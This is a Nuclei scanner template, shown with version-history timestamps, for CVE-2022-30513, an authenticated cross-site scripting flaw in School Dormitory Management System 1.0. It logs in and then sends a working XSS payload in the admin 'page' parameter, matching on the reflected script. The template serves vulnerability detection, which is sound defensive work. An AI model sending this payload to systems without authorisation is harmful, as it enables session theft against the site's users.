nuclei-templates/http/cves/2022/CVE-2022-30513.yaml

58 lines
2.3 KiB
YAML
Raw Normal View History

2022-10-05 17:01:17 +00:00
id: CVE-2022-30513
info:
name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
2022-10-05 17:01:17 +00:00
author: tess
severity: medium
description: |
School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
2022-10-05 17:01:17 +00:00
reference:
- https://github.com/bigzooooz/CVE-2022-30513
- https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-30513
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30513
cwe-id: CWE-79
epss-score: 0.00097
epss-percentile: 0.40092
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
2022-10-05 17:01:17 +00:00
metadata:
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: school_dormitory_management_system_project
product: school_dormitory_management_system
2024-01-14 09:21:50 +00:00
tags: cve2022,cve,xss,authenticated,school_dormitory_management_system_project
2022-10-05 19:59:07 +00:00
http:
2022-10-05 17:01:17 +00:00
- raw:
- |
POST /dms/admin/login.php?f=login HTTP/1.1
Host: {{Hostname}}
username={{username}}&password={{password}}
- |
GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
2023-07-11 19:49:27 +00:00
2022-10-05 17:01:17 +00:00
matchers-condition: and
matchers:
2022-10-05 20:14:32 +00:00
- type: word
part: body_2
words:
- "''; alert(document.domain); s='';"
- "School Dormitory Management System"
2022-10-05 17:01:17 +00:00
condition: and
2022-10-05 20:14:32 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100dc6f0332fe10f621cc10a6a19c38a04e5ec47b5681b7fe8312a9ef41389d1fd70220011b1ed2f76b75301daa890b4ede1f27107852a5ac93ca9192f4a15d366163d9:922c64590222798bb761d5b6d8e72950